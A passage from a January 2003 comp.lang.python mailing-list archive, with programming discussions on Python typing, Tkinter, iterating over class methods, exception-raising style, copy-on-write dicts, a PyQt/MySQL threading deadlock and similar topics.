> already overloaded, so all you're really doing here is providing a
> synonym for it.  Add does no more or less than what "+" already does.

Let's imagine a routine like this:

def matrix_rotate(matrix, angle, vector):
    "Rotate the specified matrix"
    from math import sin, cos

    ...

In Python, the matrix_rotate routine would likely work with a wide
variety of "matrix" types without any additional effort. In C#, you
would need to define a IMatrix interface and force all matrix arguments
to conform to that interface.
 
> Now regardless if we're talking about "+" or Add, I think that we can
> both agree on what to expect if both a & b are Integers or Strings.
> What if one is an integer & one is a string, however.  What if the
> string has a numeric value?  What if we have an Integer and a Float.

It makes mathematical sense for integers and reals to be addable because
the set of integers is a subset of the set of reals.

Strings and integers are quite unrelated.

> Older versions of VB suffered from what folks called "Evil Type
> Coercion".  It tried to do the 'right' thing, so that 5+"5" returned
10
> and 5 & "5" returned 55 (while 5+5=10 and "5"+"5"=55 as expected).
This
> was obviously a bad thing because it was inconsistent - better to be
> consistent.  OTOH, I see a bit of this even in Python with the change
in
> the division operator behavior (PEP 238) - should 5/2 return an
integer
> or a float?

VB was engaging in weak typing. Python is strongly typed. In Python you
can't get a string to act like an integer without an explicit cast.

Cheers,
Brian





From eric.brunel at pragmadev.com  Thu Jan  9 04:37:57 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Thu, 9 Jan 2003 10:37:57 +0100
Subject: iconify/deiconify catches in Tkinter
References: <mailman.1042010114.13709.python-list@python.org> <avhtku$v7d$1@news1.tilbu1.nb.home.nl>
Message-ID: <avjfhr$k99$1@news-reader11.wanadoo.fr>

v.wehren wrote:
> "Dave Martens" <davemartens at yahoo.com> schrieb im Newsbeitrag
> news:mailman.1042010114.13709.python-list at python.org...
>> Hi,
>>
>>   As Tkinter people know, the destroy window
>> button (X) on a window can be caught, but I
>> cannot find any way to catch the other two
>> buttons (iconify and maximize).
> 
> Taking a glance at the Tkinter modules would suggest that the protocol
> method  is pretty open. So,
> one would expect something like: w.protocol("WM_ICONIFY_WINDOW", callback)
> wouldn't one?
> Alas, doesn't seem to work...(at least not on win32)

I looked into tk's code (namely win/tkWinX.c) and I didn't find anything 
concerning iconify/deiconify events. The WM_DELETE_WINDOW is explicitely 
generated when the corresponding Windows event occurs, but nothing else 
seems to be treated... So at least in tk 8.3.2, it doesn't seem possible. 
Maybe with a later version?
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From martin at v.loewis.de  Mon Jan 27 13:45:37 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 27 Jan 2003 19:45:37 +0100
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com> <mailman.1043682834.15953.python-list@python.org> <b13r58$82q$04$2@news.t-online.com> <3e357d30$0$49104$e4fe514c@news.xs4all.nl>
Message-ID: <m3n0lmv3ce.fsf@mira.informatik.hu-berlin.de>

Irmen de Jong <irmen at NOSPAM-REMOVETHIS-xs4all.nl> writes:

> Martin v. L?wis wrote:
> > If the standard Python distribution is to be extended, you really
> > should use MSVC 6 (if you can still get copies of that).
> 
> Just for my information, does Python compile with VC++ 7
> (the C++ compiler from VStudio .NET) ?

Python 2.3 will, AFAIK. For Python 2.2, there were some issues
(e.g. header files that Microsoft removed from the compiler); I'm
unsure whether they were resolved before 2.2.2. In addition, VC++
loses some essential options when converting the project files. For
2.3, this problem has also been fixed (by not using those options
anymore). Again, I don't know whether this was solved for 2.2.

Regards,
Martin




From altis at semi-retired.com  Tue Jan  7 11:25:20 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Tue, 7 Jan 2003 08:25:20 -0800
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <3E1ABCDA.7000209@corvil.com> <3E1AC41C.4080106@aon.at> <avert4$s8f$0@216.39.172.122>
Message-ID: <gbDS9.15$mz.21446@news.uswest.net>

"Bengt Richter" <bokr at oz.net> wrote in message
news:avert4$s8f$0 at 216.39.172.122...
> On Tue, 07 Jan 2003 13:12:12 +0100, Oliver Vecernik <vecernik at aon.at>
wrote:
>
> >Padraig Brady schrieb:
> >> How about:
> >>
> >> class Someclass:
> >>     def __init__(self):
> >>         pass
> >>     def method1(self):
> >>         pass
> >>     def method2(self):
> >>         pass
> >>     def runallmethods(self):
> >>         for name, func in self.__class__.__dict__.items():
>        This limits search to the particular class dict, unlike dir(self)
>        See below.
> >>             if name[0:6] == 'method':
> >>                 func(self)
>
> >
> >Well, I just see:
> >
> >__module__
> >__doc__
> >__init__
> >
> >But I didn't tell the whole story. Actually this class is subclassed:
> >
> >class Subclass(Someclass):
> >     def __init__(self):
> >         pass
> >...
> >
> >def main():
> >     ref = Subclass
>                     ^- need () to make instance
> >     ref.runallmethods()
> >...
> >
> >All other methods are inherited from 'Someclass'. Sometimes 'Subclass'
> >may overload some methods, but in general they should be inherited. Is
> >there also a possiblity to iterate over all of them?
> >
>
> There might be some hole in this, but it seems to work:
> (BTW I added a method to the subclass, to show that
> that gets picked up too).
> If the
>     getattr(self, name)()
> below seems cryptic, it's short for
>     func = getattr(self, name) # get bound method
>     func() # bound method call doesn't need self arg
>
> ====< OliverVercernik.py >===================
> class Someclass:
>     def __init__(self):
>         pass
>     def method1(self):
>         print 'Hi from method1'
>     def method2(self):
>         print 'Hi from method2'
>     def runallmethods(self):
>         # for name, func in self.__class__.__dict__.items():
>         for name in dir(self):
>             if name[0:6] == 'method':
>                 getattr(self, name)()
>
> class Subclass(Someclass):
>      def __init__(self):
>          pass
>      def method_of_subclass(self):
>          print 'Hi from method_of_subclass'
>
> def main():
>      ref = Subclass()
>      ref.runallmethods()
>
> if __name__ == '__main__':
>     main()
> =============================================
>
> When run, it outputs:
>
> [ 7:35] C:\pywk\clp>OliverVercernik.py
> Hi from method1
> Hi from method2
> Hi from method_of_subclass
>
> Regards,
> Bengt Richter

It would probably be wise to add a check to make sure the item is callable.

class Someclass:
    def __init__(self):
        pass
    def method1(self):
        print 'Hi from method1'
    def method2(self):
        print 'Hi from method2'
    def runallmethods(self):
        # for name, func in self.__class__.__dict__.items():
        for name in dir(self):
            if name[:6] == 'method':
                f = getattr(self, name)
                if callable(f):
                    f()

ka





From d_blade8 at hotmail.com  Thu Jan  2 18:20:07 2003
From: d_blade8 at hotmail.com (Lemniscate)
Date: 2 Jan 2003 15:20:07 -0800
Subject: opening a text document to show a .txt file through a browserlink
References: <hcrP9.30944$Y2.1113@news2.bredband.com> <mailman.1041277439.30986.python-list@python.org> <3E10B410.E69EB572@alcyone.com> <mailman.1041288686.25278.python-list@python.org> <ahqqua.r04.ln@beastie.ix.netcom.com> <mailman.1041312425.5480.python-list@python.org> <7396d2b2.0212311127.13ebaa8@posting.google.com> <tyfd6nhdikf.fsf@lxplus047.cern.ch>
Message-ID: <7396d2b2.0301021520.74988ef0@posting.google.com>

Jacek Generowicz <jacek.generowicz at cern.ch> wrote in message news:<tyfd6nhdikf.fsf at lxplus047.cern.ch>...
> d_blade8 at hotmail.com (Lemniscate) writes:
> 
> > If one wants to ignore mark-up languages (XML and/or HTML) because
> > they are just data acted on by an interpreter, than C/C++ falls into
> > the same area.
> 
> Write an HTML program that computes the square of a number that it
> receives as input.
> 
> Turing-complete-ly yours,

On a purely practical level, it is impossible to define something by
exclusion when a definition is lacking.  That is, one cannot say that
since object A cannot perform action B, then object A is not a type of
object C if object C is not defined.

Having said that, do we agree on the definition of a programming
language as "able to compute the square of a number without the
assistance of accessory languages"?  [I added the last part because it
is ridiculously easy to compute the square root if we start using
stuff like javascript or vbscript (however, we were talking about
html, so I excluded them).]  If that is our definition of programming,
then HTML is not a language.  However, I have yet to see that
definition applied.  In other words, I think your point is pointless. 
Heck, write a C program that doesn't use a compiler, makes its own
operating system and builds a computer using nothing but toilet paper
rolls.  What?  You can't?  Then, by your logic, C is not a programming
language because I asked you to do something that it can't do.

I don't mean to attack you, as I do see your point, but, as I've said,
you can't exclude something unless there is a defined object to
exclude from.  I say this also because there has been a ton of talk
about what is 'intuitive' (which, incidently, is also an opinion,
nothing more and nothing less).

Since this is getting crazy, from now on, I am going to go by the
definition of program as given on
http://whatis.techtarget.com/definition/0,,sid9_gci212834,00.html

(excerpt) 'a program is a specific set of ordered operations for a
computer to perform...(Note that a program is also a special kind of
"data" that tells how to operate on "application or user data.") '

Okay, to me, based on this,
HTML/XML/SGML/ECMAScrpt/ActionScript/C/C++/Java/VB/javascript/Python
are all programming languages.  The 'mark-up' languages represent a
specific set of ordered operation for a computer to perform (and thus,
represent a program;  which feels really odd to say, to be quite
honest).  Since a program can also be 'data', then it fits the
definition both ways.  It's interesting to note that the definition
does NOT:
1) specify whether anything has to be Turing complete (heck, I've
written tons of programs that aren't, but they use python and C, so
are python and c not languages too>)
2) specify the need for the ability to calculate any numbers at all. 
(once again, I would say 99% of all my codes doesn't calculate
squares, are they not programs).

FYI, the reason I hark on the whole calculating the square thing is
that I believe it is a misleading and irrelevant statement.  The W3C
can render it obsolete by allowing html to contain and operate on it's
own variables without the aid of a scripting language.  The argument
would have been more persuasive to me if the author had stated that
he/she believed that all programming languages need to have the
ability to calculate squares for him/her to feel it was a real
language (that would be a statement of opinion, not some kind of
challenge meant to imply what they thought;  of course, he/she would
still be guilty of reaching an illogical conclusion (the ability to
square numbers does not a programming language define), but I would
have respected the opinion.  Anyways, this is opinion on everything. 
Feel free to disagree, I do (;-D).

Lem



From hwlgw at hotmail.com  Sun Jan 12 09:14:27 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 12 Jan 2003 06:14:27 -0800
Subject: Python for CGI is dead?
Message-ID: <cb035744.0301120614.3b19d223@posting.google.com>

I am spending rather much time trying to build a project using CGI
scripts written in Python.  But am I wasting my time?  I could not
find much Python hosting, and none free (except a french one that I
can not register into) for Python CGI scripts!  

I wish python.org would give you the opportunity to test small, low
bandwidth, CGI scripts for free.  It would help Python become more
popular and it could be a showcase for good Python CGI programming,
with an annual competition for "best" CGI-based websites perhaps?  You
could test your CGI scripts there until they are sufficiently mature
so you can make money with them and pay for a commercial host or start
a host yourself.  

As it is now I am afraid using Python for CGI is going to die a slow
death if it is not dead already.  And **no**, I don't want to run a
(CGI-)webserver myself (Twisted) or use Zope.  I want Python to become
more popular, especially for CGI.  So you could expect your local ISP
to be able to host your scripts.


About python web hosting:

http://www.python.org/cgi-bin/moinmoin/PythonHosting

See all those old Python version there?

'''
Woman on Street:        Sir, you are drunk; very, very drunk.
Winston Churchill:        Madame, you are ugly; very, very ugly.
                        I shall be sober in the morning.
'''



From peter at engcorp.com  Tue Jan 28 16:08:33 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 16:08:33 -0500
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org>
Message-ID: <3E36F151.40A0848B@engcorp.com>

Chad Netzer wrote:
> 
> Also, Peter Hansen indicated that the following form of exception
> raising is preferred:
> 
>     raise ArgumentError("such-and-such argument must not be negative.")
> 
> I'd be interested to know what the preferred method is (if any).  I
> think raising the class itself is more intuitive to my mind (rather
> than building an instance to raise).  Is there a preferred style?

I'm pretty sure that even your approach is raising an instance, as
the docs say "For class exceptions, this object must be an instance 
of the exception class being raised.".  

I might be wrong, but I believe that both forms will do the same thing,
but in that case mine says more explicitly what is actually happening
so I'd call it "preferred" as a general rule.

I note that both forms are used in the tutorial, and the language
grammar explicitly allows both approaches:

"If the first expression is a class object, then the second expression 
may be an instance of that class or one of its derivatives, and then 
that instance is raised. If the second expression is not such an instance, 
the given class is instantiated."

(Noting that in either case, an *instance* is involved.)

-Peter



From wouterm at spammers-unite-here.com  Tue Jan 14 00:59:41 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Tue, 14 Jan 2003 13:59:41 +0800
Subject: RH8.0, gfax, python
References: <PZEU9.509$Pw.315@news1.central.cox.net>
Message-ID: <b008bq$ac122@imsp212.netvigator.com>

Kelv,

I am working on a replacement for gfax...
squirrelfax
you can find a preview on sourceforge (no more than that, just a preview).

Wouter.

"Kelv" <ah at well.ysee> wrote in message
news:PZEU9.509$Pw.315 at news1.central.cox.net...
> Hi,
>
> I have been attempting to install a program called gfax on RedHat Linux
> 8.0. gfax is written in Python.
>
> As far as I can see I have a working pygtk 2.0 (1.99.12) and
> gnome-python, as they came installed with the distro.
>
> However when run, gfax fails with the following...
>
> Traceback (most recent call last):
>    File "/usr/bin/gfax", line 33, in ?
>      from prefs import *
>    File "/usr/lib/gfax/prefs.py", line 23, in ?
>      from gnome.config import *
> ImportError: No module named config
>
> I tried an example program that also has...
>
> from gnome.config import *
>
> ... in it, and that fails too, with the same error.
>
> Can anyone help. I know nothing about Python but can follow precise
> instructions if given.
>
> Kelv
>





From phr-n2003b at NOSPAMnightsong.com  Sat Jan 25 07:41:14 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 25 Jan 2003 04:41:14 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de> <b0ss8g$20c$05$2@news.t-online.com> <7xsmvhq2bc.fsf@ruckus.brouhaha.com> <m3fzrhwjza.fsf@mira.informatik.hu-berlin.de>
Message-ID: <7x8yx9qu51.fsf@ruckus.brouhaha.com>

martin at v.loewis.de (Martin v. L?wis) writes:
> > Neither seems terribly difficult; just have the interpreter keep track
> > of how much time and memory have been consumed.  CPU time may be hard
> > to measure on a per-thread basis, but certainly it can count byte
> > codes executed, which should be enough for the purpose.
> 
> How about memory usage?

Is there an obstacle to instrumenting the memory allocator to remember
how much memory has been allocated by sandboxed code?



From grey at despair.dmiyu.org  Fri Jan  3 14:13:26 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 19:13:26 -0000
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <lhf4va-ap4.ln@majestix.gallien.de>
Message-ID: <slrnb1bo6m.o8n.grey@teleute.dmiyu.org>

On Fri, 03 Jan 2003 17:59:33 +0100, Detlev Offenbach
<detlev at die-offenbachs.de> wrote:
> Try eric3 from http://www.die-offenbachs.de/detlev/eric3.html
> It is a complete IDE and it is released under the terms of the GPL. It 
> probably has the features you are looking for.

    Silly question, do you know if it has been packaged for Debian or if
anyone from Debian has shown interest in packaging it?

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From gerhard.haering at opus-gmbh.net  Wed Jan 22 03:11:02 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 22 Jan 2003 08:11:02 GMT
Subject: clobs clobber dbi ??? Workarounds?
References: <ff30b903.0301210943.3c3a3fd5@posting.google.com>
Message-ID: <slrnb2skfs.fo.gerhard.haering@haering.opus-gmbh.net>

Fred Bartlett <vepxistqaosani at netscape.net> wrote:
> But I need to get the clob column, too -- how can I do it? Toad and
> sql*plus both handle it; what's wrong cx_Oracle, dbi and/or odbc?

If you look at the web page of the ODBC module, it suggests that there are
*some* things wrong with it. For one, it's unsupported.
(http://www.python.org/windows/win32/odbc.html)

I have only once worked with Large Objects under Oracle and that was years ago,
so the only thing I can recommend is that you try out DCoracle2. It's install
method is really stupid, though:

http://www.zope.org/Members/matt/dco2

You'll need to download the zip file there and do a little RFTM ;-)

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From reageer.in at de.nieuwsgroep  Tue Jan 28 13:14:19 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Tue, 28 Jan 2003 19:14:19 +0100
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com>
Message-ID: <11id3vk8q93mnhanl004luuh4vfso8osio@4ax.com>

Eric Mattes:
>I'd like to know if anyone knows a way to write a python program that
>can be interfaced with through a web browser. 

Are you aware of Zope?
http://www.zope.org

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From matthias.oberlaender at REMOVE.daimlerchrysler.com  Thu Jan 16 08:51:51 2003
From: matthias.oberlaender at REMOVE.daimlerchrysler.com (Matthias Oberlaender)
Date: 16 Jan 2003 13:51:51 GMT
Subject: copy-on-write for dict objects?
References: <avtss7$ejg$1@news.sns-felb.debis.de> <7h3n0m2p77m.fsf@pc150.maths.bris.ac.uk>
Message-ID: <b06ddn$5vk$1@news.sns-felb.debis.de>

In <7h3n0m2p77m.fsf at pc150.maths.bris.ac.uk> Michael Hudson wrote:
> Matthias Oberlaender <matthias.oberlaender at REMOVE.daimlerchrysler.com> 
writes:
> 
> > Is there an easy way in Python 2.2.1 to add a copy-on-write mechanism to 
> > subclasses of dict, i.e. without extending/modifying the C-code 
> > implementation?  (I guess there is none!)
> 
> Not sure what you mean.  But I doubt it.  You need a level of
> indirection in there, so I don't see how you could do it directly even
> hacking C.
> 
> > I don't want to resort to UserDict again, since, at least for my
> > purposes, it's much slower than direct subclasses of dict (around
> > 10x)
> 
> I know that feeling.
> 
Thanks for all the answers so far (from Andrew, Just and Michael)

A line of "hacking" I could think of is this:

class MyDict(dict):

  def __init__(self, d)
    self.sharedDict = d
    self.oldPtr = getTable(self)
    # getTable should be some external function that returns the C pointer to
    # the object's hashtable
    setTable(self, getTable(self.sharedDict))
    # setTable should be some external function that explicitly sets the C 
    # pointer to the hashtable
    self.mustCopy = 1
    
  def _onWrite(self):
    setTable(self, self.oldPtr)
    self.update(self.sharedDict)
    self.sharedDict = None # give up the reference 
    self.mustCopy = 0
    
  ....

You get the idea? I don't know much about the magic behind the scenes. Maybe 
this is to naive? 

Why do I want this ? I use dictionaries to implement large sets. In my 
framework complementation of sets is allowed and implemented by simply 
switching a boolean attribute. Set union, intersection and complementation 
can be expressed by using a single type of operator. I call it "neggregation" 
(it is analogous to the NOR function). Neggregation is defined to be the 
complement of the union of its (arbitray many) arguments. As a special case 
we immediately have:  

def complement(X): return negg(X). 

A bit more subtle,  intersection can be expressed like this:

def intersection(A, B):  return negg(negg(A), negg(B))

And:

def union(A,B): return negg(negg(A,B))

So, negg(X) with a single argument returns the complement of X. Conceptually, 
this requires flipping only a flag. But if this function call also involved 
actual copying of lots of data, the above reduction would be fairly 
inefficient. Hence I want a copy-on-write. 


--
 ____  __  _/_/ . 
( / / ( /  / / /  

=====================================================================
Matthias Oberlaender, DaimlerChrysler AG, Research Center Ulm
RIC/AP (Machine Perception)
Wilhelm-Runge-Str. 11,  P.O. Box 2360,  89013 Ulm, Germany
Phone: +49 731 505 2354       Fax: +49 731 505 4105
Email: matthias.oberlaender at REMOVE.daimlerchrysler.com
=====================================================================




From phil at river-bank.demon.co.uk  Wed Jan  1 14:40:04 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Wed, 1 Jan 2003 19:40:04 +0000
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <200301010958.45042.kibab@icehouse.net>
References: <200301010958.45042.kibab@icehouse.net>
Message-ID: <200301011940.04314.phil@river-bank.demon.co.uk>

On Wednesday 01 January 2003 5:58 pm, Kaleb Pederson wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Ok. I have a PyQt program using mysql as a database with mysqldb as my
> database client. I'm spawning qt threads to do all the work before I call a
> postevent to let my application know I'm done.
>
> It turns out, however, that the thread locks in the middle of my run() call
> and never completes. I'm cross-posting this message as I'm not familiar
> with Python extension modules and I don't know if PyQt could have caused
> this, it is a Python bug (or feature) or if there is a problem in the
> mysqldb module code.
>
> Here's my run call:
>
>  def run(self):
>  """ called after the thread is spawned """
>  try:
>
>  # never makes it through the quick_find_customer call....
>  self.data = quick_find.quick_find_customer(self.parameters)
>  print "quick find returned:",self.data
>
>  event = QCustomEvent(self.eventID)
>  event.setData(self.data)
>
>  QThread.postEvent(self.receiver,event)
>
>  except Exception, msg:
>  print msg
>
>
> I traced through everything and it seems to be blocking in the mysql code:
>
>  def _execute(self, query, args):
>  # makes it into the function but ...
>  from types import ListType, TupleType
>  from sys import exc_info
>  # it never makes it this far....
>  try:
>  if args is None:
>  r = self._query(query)
>
> Once it locks, I get the following backtrace (using a full debug build of
> Python/PyQt/etc.):
>
> #0 0x4019fd49 in sigsuspend () from /lib/libc.so.6
> #1 0x40033858 in __pthread_wait_for_restart_signal () from
> /lib/libpthread.so.0
> #2 0x400300eb in pthread_cond_wait () from /lib/libpthread.so.0
> #3 0x080b5c0e in PyThread_acquire_lock (lock=0x813d418, waitflag=1) at
> Python/thread_pthread.h:374
> #4 0x080a5874 in lock_import () at Python/import.c:166
> #5 0x080a81b2 in PyImport_ImportModuleEx (name=0x8182fc4 "types",
> globals=0x87f56a4, locals=0x8114484, fromlist=0x87f83f4)
>  at Python/import.c:1657
> #6 0x080f617b in builtin___import__ (self=0x0, args=0x813ab0c) at
> Python/bltinmodule.c:40
> #7 0x080f3ec6 in PyCFunction_Call (func=0x81379f0, arg=0x813ab0c, kw=0x0)
> at Objects/methodobject.c:79
> #8 0x080cdd9b in PyObject_Call (func=0x81379f0, arg=0x813ab0c, kw=0x0) at
> Objects/abstract.c:1688
> #9 0x0808ea7b in PyEval_CallObjectWithKeywords (func=0x81379f0,
> arg=0x813ab0c, kw=0x0) at Python/ceval.c:3058
> #10 0x0808a3f8 in eval_frame (f=0x852f99c) at Python/ceval.c:1843
>
> <snip>
>
> #32 0x0808d204 in PyEval_EvalCodeEx (co=0x870c6b0, globals=0x871a6cc,
> locals=0x0, args=0x81e2d78, argcount=1, kws=0x0, kwcount=0,
>  defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:2595
> #33 0x080e30df in function_call (func=0x870f34c, arg=0x81e2d64, kw=0x0) at
> Objects/funcobject.c:374
> #34 0x080cdd9b in PyObject_Call (func=0x870f34c, arg=0x81e2d64, kw=0x0) at
> Objects/abstract.c:1688
> #35 0x080d6f80 in instancemethod_call (func=0x870f34c, arg=0x81e2d64,
> kw=0x0) at Objects/classobject.c:2292
> #36 0x080cdd9b in PyObject_Call (func=0x8582af4, arg=0x81e2d64, kw=0x0) at
> Objects/abstract.c:1688
> #37 0x0808ea7b in PyEval_CallObjectWithKeywords (func=0x8582af4,
> arg=0x81e2d64, kw=0x0) at Python/ceval.c:3058
> #38 0x40023ecb in sipEvalMethod (pm=0x8734788, args=0x81e2d64) at
> siplib.c:2898
> #39 0x414a85a4 in sipQThread::sipVH_run(sipMethodCache const*,
> _sipThisType*) ()
>  from /usr/local/lib/python2.2/site-packages/libqtcmodule.so
> #40 0x414a8553 in sipQThread::run() () from
> /usr/local/lib/python2.2/site-packages/libqtcmodule.so
> #41 0x40517726 in QThreadPrivate::start(QThread*) (thread=0x8734778) at
> kernel/qthread_unix.cpp:79
> - ---Type <return> to continue, or q <return> to quit---
> #42 0x4051675b in start_thread (_arg=0x87327a0) at
> kernel/qthread_unix.cpp:98 #43 0x40031160 in pthread_start_thread () from
> /lib/libpthread.so.0 #44 0x40031262 in pthread_start_thread_event () from
> /lib/libpthread.so.0
>
> So does anyone have any idea what's wrong or how to fix it? Please email me
> as well if you aren't posting to the PyQt/Python list (kibab at icehouse
> dot net).

To quote the Python source the lock is "to prevent parallel imports of the 
same module in different threads to return with a partially loaded module". 
What other imports (or the same import in other threads) might be happening 
at the same time?

Phil




From gehart24 at yahoo.com  Fri Jan  3 22:42:51 2003
From: gehart24 at yahoo.com (george hart)
Date: 3 Jan 2003 19:42:51 -0800
Subject: Help, replacing the actual value from a data strucutre in a iterator
Message-ID: <c490a7ae.0301031942.5f39a6a8@posting.google.com>

Hello,

My problem is that I have a very complex data structure I need to
iterate over and change certain values to.  I wrote a 'generator' to
iterate over my data structure but when i call the next() method in
the generator object I am returned a value that cannot be used to
modifiy the original data structure.

Here is a simplified version of my problem:

a=[0,1,2,[20,30,40],9,3]
def generator(l):
    for i in l:
        if type(i) is list:
            for q in generator(i):
                yield q
        else:
            yield i

g=generator(a)
o=g.next()
o=100   # where i want this assignment to change a[0] to 100
print a[0]  #thus a[0] would then print out 100


Thanks for any help,
George.



From read-the-signature at send-spam-to-dev-null.com  Fri Jan 10 15:07:58 2003
From: read-the-signature at send-spam-to-dev-null.com (read-the-signature at send-spam-to-dev-null.com)
Date: Fri, 10 Jan 2003 20:07:58 +0000 (UTC)
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl> <3E1F0860.843F9142@engcorp.com>
Message-ID: <avn96u$nlb$1@wnnews.sci.kun.nl>

Peter Hansen <peter at engcorp.com> wrote:
> Does something like this help?
> 
>>>> re.sub(r'([^,?])(([,?]))', r'\1 \2', 'Hello, how are you?')
> 'Hello , how are you ?'
 
actually, it does (after adding dot, exclamation mark and so on). Had to
re-read the code twice before getting it, though. I had never worked with
the '\#' (where # is a number) before. Thanks!

> Not really general-purpose, but it works on the example you gave and maybe
> that's as complex as you need...

Yeah it is. Let's hope it runs relatively fast. I don't mind waiting a
little, but it has to run over about 6000 documents :-)

    Woohoo, time to run some experiments!

        Yours

            Bas

-- 
b a s {dot} v a n g i l s {at} c s {dot} k u n {dot} n l
BOFH excuse #356:
the daemons! the daemons! the terrible daemons!



From peter at engcorp.com  Thu Jan  9 10:09:27 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 09 Jan 2003 10:09:27 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com> <s82kva.11c.ln@cvs>
Message-ID: <3E1D90A7.65024A33@engcorp.com>

Max Ischenko wrote:
> 
>  Peter Hansen wrote:
> > Someone else wrote:
> >> Static
> >> typing is just another tool to help the development process, and even if
> >> proper testing reduces the advantages of static typing by 50 or 75%,
> >> I'll still take whatever extra advantages I can get when I write code.
> 
> > Not to beat a dead horse, but what if the advantages were reduced by,
> > say, 98%.  Given the loss in productivity involved with all those extra
> > keystrokes for the static typing information for the compiler, you
> > might reach a point where it is *less* effective overall to have the
> > static typing in place.  :-)
> 
> > That is how I feel, at any rate, having spent many many years writing
> > code with static type checking available (C, C++, Delphi and Java).
> 
> Sophisticated type system, like the Hindley-Milner (Haskell)
> could free you from extra typing still providing advantages of the static
> type checking.

I haven't felt in any way hampered by the lack of those "advantages"
so far, and I strongly doubt Haskell would be as nice, for me, to code in
as Python, nor as readable.

I could be wrong... maybe I'll look at Haskell someday, out of curiosity,
but for now I feel no pressure to do that since I'm quite happy with
Python just as it is.

When I *do* finally succumb to some desire to use static types,
presumably out of a desire for performance, I expect to find Pyrex
useful in that respect...

-Peter



From jack at performancedrivers.com  Tue Jan 21 01:10:26 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Tue, 21 Jan 2003 01:10:26 -0500
Subject: Python web development, really
In-Reply-To: <prmp2vs50hkl6k5uiecrecaa2hom28iqtk@4ax.com>; from abelikov72@hotmail.com on Tue, Jan 21, 2003 at 05:32:42AM +0000
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <MgZW9.41168$Hl6.4924133@news010.worldonline.dk> <iugp2vs55csq6l9nv9l6ghqse4dfr6a0td@4ax.com> <7x8yxfyth4.fsf@ruckus.brouhaha.com> <prmp2vs50hkl6k5uiecrecaa2hom28iqtk@4ax.com>
Message-ID: <20030121011026.K13035@localhost.localdomain>

On Tue, Jan 21, 2003 at 05:32:42AM +0000, Afanasiy wrote:
> On 20 Jan 2003 21:14:47 -0800, Paul Rubin <phr-n2003b at NOSPAMnightsong.com>
> wrote:
> 
> >Afanasiy <abelikov72 at hotmail.com> writes:
> >> I was not aware Python required trade-offs involving memory or cpu use in
> >> order to compete with PHP. In my experience Python is much much faster for
> >> basic scripting. I hoped that speed could be put to use on a web platform.
> >
> >Benchmarks I've seen indicate PHP is considerably faster than Python.
> >That's not too surprising, since PHP is a simpler language and doesn't
> >have to do nearly so many dynamic lookups.
> 
> Benchmarks I've done indicate very much the opposite. Perhaps you saw
> something for the zend optimizer, which I have not tested myself.
> 
> Anyway, it does look like PHP is in fact my best option overall.

PHP is slow if you are doing an application engine.  It must load all the
source for each hit.  Writing a large app in PHP would also be ... hard.
It just isn't a first class programming language.

PHP is quick if you are doing a dynamic site without much application logic.
Alot more people know it, so it is easy to find or buy help.
It is fairly simple, so it is easy to bang pages out quickly.


I work on a largish web-based business app written in python.
But PHP was used to prototype it.

hope that helps,

-jackdied




From lac at strakt.com  Sun Jan  5 03:10:06 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 05 Jan 2003 09:10:06 +0100
Subject: Best Python editor (under Linux) 
In-Reply-To: Message from Steve Lamb <grey@dmiyu.org> 
   of "Sun, 05 Jan 2003 03:28:48 GMT." <slrnb1f9jg.83j.grey@teleute.dmiyu.org> 
